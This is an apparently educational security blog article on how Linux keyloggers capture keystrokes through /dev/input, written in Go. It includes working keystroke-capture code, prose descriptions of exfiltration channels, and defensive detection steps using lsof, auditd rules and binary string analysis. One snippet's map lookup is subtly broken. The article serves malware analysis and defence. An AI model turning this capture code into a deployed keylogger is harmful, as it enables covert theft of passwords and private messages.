This article covers the internals of keyloggers for educational purposes — specifically to help defenders understand what keyloggers do at the OS level, how malware analysts recognize them in binary samples, and how to detect them on running systems. Deploying keyloggers on systems without explicit authorization from the system owner is illegal under the Computer Fraud and Abuse Act (CFAA) and equivalent laws worldwide. The code patterns discussed here are referenced in the context of analysis and understanding, not deployment.
Photo by Christina Morillo on Pexels
On Linux, keyloggers read from /dev/input/eventX — kernel character device files that receive raw input_event structs for every keypress. Each struct is 24 bytes: timestamp + event type + key code + value (key up/down). In Go, this is a file open + binary.Read into the struct, repeated in a loop. Requires root or input group membership.
Keyloggers show up in malware analysis reports regularly. They’re used in credential theft, corporate espionage, banking trojans, and post-exploitation persistence. Understanding what they actually do at the OS level is useful both for analysts reverse engineering samples and for defenders building detection rules.
Go has become a popular choice for malware authors because compiled Go binaries are statically linked, ship with no runtime dependencies, and cross-compile easily — write on Linux, deploy on Windows. This article focuses on the Linux implementation because the mechanism is visible and instructive. The Windows approach (SetWindowsHookEx) is covered in conceptual terms.
What Is a Keylogger
A keylogger is software that captures keystrokes — everything typed on a keyboard — and records or transmits them. In the threat landscape, keyloggers are a credential harvesting tool: usernames, passwords, credit card numbers, private messages. They’re also used in authorized contexts: parental control software, employee monitoring (where legally permitted and disclosed), and forensic evidence collection.
There are three main implementation approaches on Linux:
- /dev/input (kernel level) — reads raw input events directly from the kernel’s input subsystem. Requires root or input group. This is what most system-level keyloggers use.
- X11 API (user level) — uses XQueryKeymap or XRecordExtension to capture keyboard state through the X display server. Doesn’t require root but only works in X11 sessions, not on TTY or Wayland.
- LD_PRELOAD hook — interposes on libc’s read() calls, capturing what applications read from stdin. Targeted and application-specific, not a general keylogger.
The Linux /dev/input Subsystem
evdev (event device) — the Linux kernel input subsystem that exposes raw input events as character device files in /dev/input/. Each physical input device (keyboard, mouse, touchpad) gets an eventX file. The kernel writes input_event structs to these files as events occur. Standardized since Linux 2.4 and the primary input interface for X11, Wayland, and libinput.
ls -la /dev/input/
# crw-rw---- 1 root input ... event0
# crw-rw---- 1 root input ... event1
# crw-rw---- 1 root input ... event2
# crw-rw---- 1 root input ... mice
# Group 'input' has read access (rw-) — root or input group required
$ find keyboard-specific event devices
cat /proc/bus/input/devices | grep -A5 keyboard
The Handlers line shows event3 — the keyboard device is at /dev/input/event3. This varies by system and attached devices. A keylogger needs to identify the correct event file at runtime.
The input_event Struct
Every keypress generates an input_event struct written to the event file. Defined in linux/input.h:
Event types relevant to keyboard reading:
| Type Value | Constant | Meaning |
|---|---|---|
0x00 | EV_SYN | Synchronization event — separates event groups |
0x01 | EV_KEY | Key event — keypress, key release, or repeat |
0x02 | EV_REL | Relative motion (mouse movement) |
0x03 | EV_ABS | Absolute position (touchpad, tablet) |
Value field for EV_KEY events:
0— key released (key up)1— key pressed (key down)2— autorepeat (key held)
A keylogger typically filters for type == EV_KEY and value == 1 (key down) to capture each keystroke once, then maps code to the corresponding character.
Finding the Keyboard Device at Runtime
A keylogger can’t hardcode event3 — the number varies by system. Two approaches for identifying the keyboard event file at runtime:
// Pseudocode: parse /proc/bus/input/devices
// Look for lines containing "keyboard" in Name field
// Extract the eventX from Handlers field
// Return the matching /dev/input/eventX path
devices, _ := os.ReadFile("/proc/bus/input/devices")
lines := strings.Split(string(devices), "\n")
var currentHandlers string
for _, line := range lines {
if strings.HasPrefix(line, "H: Handlers=") {
currentHandlers = line
}
if strings.Contains(strings.ToLower(line), "keyboard") {
// Extract eventX from currentHandlers
// ...
}
}
approach 2 — try all event files
// Open each /dev/input/eventX and check EV_KEY capability
// via ioctl(EVIOCGBIT) — if it reports EV_KEY, it's a keyboard
for i := 0; i < 20; i++ {
path := fmt.Sprintf("/dev/input/event%d", i)
f, err := os.Open(path)
if err != nil { continue }
// Check capabilities with ioctl
// ...
}
Reading Events in Go
With the device file identified, the core reading loop is straightforward — open the file, define the struct, read in a loop:
keylogger core loop — Go (educational reference)package main
import (
"encoding/binary"
"fmt"
"os"
)
// inputEvent mirrors the Linux input_event struct (24 bytes, 64-bit)
type inputEvent struct {
Sec uint64 // timeval seconds
Usec uint64 // timeval microseconds
Type uint16 // event type (EV_KEY = 0x01)
Code uint16 // key code
Value int32 // 0=up, 1=down, 2=repeat
}
const (
evKey = 0x01
keyDown = 1
)
func main() {
// NOTE: requires root or input group membership
f, err := os.Open("/dev/input/event3") // identified via /proc/bus/input/devices
if err != nil {
fmt.Fprintf(os.Stderr, "failed to open input device: %v\n", err)
os.Exit(1)
}
defer f.Close()
var event inputEvent
for {
// Read exactly 24 bytes per event
if err := binary.Read(f, binary.LittleEndian, &event); err != nil {
break
}
// Filter: key events, key-down only
if event.Type == evKey && event.Value == keyDown {
char := codeToChar(event.Code, false) // shift state not tracked here
fmt.Printf("[KEY] code=%d char=%s\n", event.Code, char)
}
}
}
Key Code to Character Mapping
Key codes in Linux are defined in linux/input-event-codes.h. Selected mappings:
func codeToChar(code uint16, shift bool) string {
keyMap := map[uint16]string{
2: "1", 3: "2", 4: "3", 5: "4", 6: "5",
7: "6", 8: "7", 9: "8", 10: "9", 11: "0",
16: "q", 17: "w", 18: "e", 19: "r", 20: "t",
21: "y", 22: "u", 23: "i", 24: "o", 25: "p",
30: "a", 31: "s", 32: "d", 33: "f", 34: "g",
35: "h", 36: "j", 37: "k", 38: "l",
44: "z", 45: "x", 46: "c", 47: "v", 48: "b",
49: "n", 50: "m",
28: "[ENTER]",
14: "[BACKSPACE]",
57: " ",
// Shift state would select uppercase or symbol variants
}
if char, ok := keyMap; ok {
if shift {
return strings.ToUpper(char)
}
return char
}
return fmt.Sprintf("[%d]", code)
}
A production keylogger also tracks modifier key state — left shift (code 42), right shift (54), caps lock (58), ctrl (29), alt (56) — to reconstruct exactly what was typed including password fields, special characters, and keyboard shortcuts.
Where the Data Goes
Keystroke capture is only one half of a keylogger. The other half is exfiltration — getting the captured data out. Common patterns seen in malware samples:
- Local log file — writes to a hidden file in a dot directory (
~/.config/.cache/klog.txt,/tmp/.sys.log). Simplest, most detectable via filesystem monitoring. - Network exfiltration — buffers keystrokes in memory and sends them periodically over TCP/TLS to a C2 server. More sophisticated, detectable via network monitoring.
- DNS tunneling — encodes keystrokes as subdomains in DNS queries. Harder to detect at the network layer; requires DNS-specific monitoring.
- Email — sends captured data as email attachments. Uses SMTP or SMTPS. Detectable via email gateway monitoring.
In Go malware, the exfil component often uses the standard net/http package for HTTP POST to a C2, or net/smtp for email. Static analysis of Go binaries: the presence of these packages alongside os.Open("/dev/input") patterns is a strong indicator.
Detection and Defense
lsof to find unexpected /dev/input readers:
$ check what's reading input devicessudo lsof /dev/input/event*
# Expected: Xorg, libinput, systemd-logind
# Unexpected: any process that isn't part of the expected input stack
auditd rules for /dev/input access:
$ /etc/audit/rules.d/input-access.rules-a always,exit -F path=/dev/input -F perm=r -k input_access
-w /dev/input/ -p r -k keylogger_detect
sudo auditctl -R /etc/audit/rules.d/input-access.rules and monitor with sudo ausearch -k input_access. Any unexpected process opening /dev/input files generates an audit event.Process tree monitoring: A keylogger running under a web server or as a spawned subprocess is visible in the process tree. pstree and continuous process monitoring (auditd exec tracking, osquery) can alert on unexpected processes with open file descriptors to input devices.
Static binary analysis (for incident response): Go binaries are statically linked and contain all Go package source paths in the binary. Strings analysis on a suspicious Go binary: strings binary | grep -E "(dev/input|EV_KEY|keylog|input_event)". The Go toolchain embeds source file paths, so strings like /home/user/keylogger/main.go or package import paths like keylogger/capture often appear in the binary.
Group membership: The input group controls access to /dev/input files. Review /etc/group to see who has input group membership. Service accounts and non-display-server processes should not be in the input group. Limiting this group membership is a meaningful hardening step.
🔍 Things to Consider
Keyloggers are interesting from a security engineering perspective because the mechanism is genuinely simple — the complexity is in not being caught. On Linux, the /dev/input approach is robust but requires elevated access, which limits it to post-privilege-escalation scenarios. The more common credential theft vector in modern malware isn't keyboard capture — it's credential extraction from browser storage, LSA dumps, or password manager files. Keyloggers are still used, but mostly in targeted attacks where the adversary needs credentials that aren't stored anywhere and must be captured as they're typed. Worth knowing: in malware analysis, the first place to look for keylogger behavior is file descriptors to /dev/input and any network connection that transmits data on a recurring timer.
~Cipherceval
Frequently Asked Questions
How do keyloggers work on Linux?
Linux keyloggers typically read from /dev/input/eventX — kernel character device files receiving raw input events. Each keypress generates an input_event struct (24 bytes) containing a timestamp, event type (EV_KEY = 0x01), key code, and value (1 = key down, 0 = key up). By reading these events and mapping codes to characters, a process captures all keystrokes. This requires root or input group membership, since the /dev/input files are owned by root with group 'input'.
What is /dev/input on Linux?
/dev/input/ is a directory of character device files exposing raw input events from keyboards, mice, touchpads, and other devices. Each device gets an eventX file. The kernel writes input_event structs to these files as input occurs. This is the evdev (event device) interface, part of the Linux input subsystem since kernel 2.4. /proc/bus/input/devices lists all devices and their event file assignments.
Can a keylogger run in Go without root on Linux?
By default, /dev/input/eventX files require root or the 'input' group. A non-root keylogger on Linux can work via: (1) membership in the input group, (2) X11 API (XRecordExtension) which doesn't require root but only works under X11, or (3) LD_PRELOAD interposition for specific applications. In malware analysis contexts, /dev/input access almost always implies a privileged process or prior privilege escalation.
How do defenders detect a keylogger on Linux?
Key detection methods: (1) lsof /dev/input/event* to find unexpected processes reading input files; (2) auditd rules watching /dev/input for read access; (3) process tree monitoring for unusual processes with input device file descriptors; (4) static analysis of suspicious binaries for strings like /dev/input, EV_KEY, or keylogger-related source paths embedded by the Go toolchain.
What is the input_event struct in Linux?
input_event is a C struct from linux/input.h: struct input_event { struct timeval time; __u16 type; __u16 code; __s32 value; }. Total size: 24 bytes on 64-bit. type identifies the event class (EV_KEY=0x01 for keys). code is the key code (defined in linux/input-event-codes.h). value is 0 (key up), 1 (key down), or 2 (autorepeat). In Go, this maps to a struct with uint64+uint64+uint16+uint16+int32 fields read with binary.Read.
This is part of the Golang security series. See also: Building a Port Scanner in Go and Concurrent Port Scanner in Go.
Stay vigilant, stay curious, and update your stuff.
— Cipherceval / Forgebound Research
Exploit Brokers by Forgebound Research
Disclaimer: The content presented by Exploit Brokers by Forgebound Research is for educational and informational purposes only. Cipherceval is a cybersecurity educator and commentator — not your personal security consultant, legal counsel, or professional advisor. The Go code patterns shown here are discussed in the context of malware analysis education. Always consult qualified professionals for security decisions affecting your systems.
Technical Disclaimer: Deploying keyloggers on systems without explicit authorization from the system owner is illegal under the Computer Fraud and Abuse Act (CFAA) and equivalent laws worldwide. The discussion here is for analysis and defensive understanding only.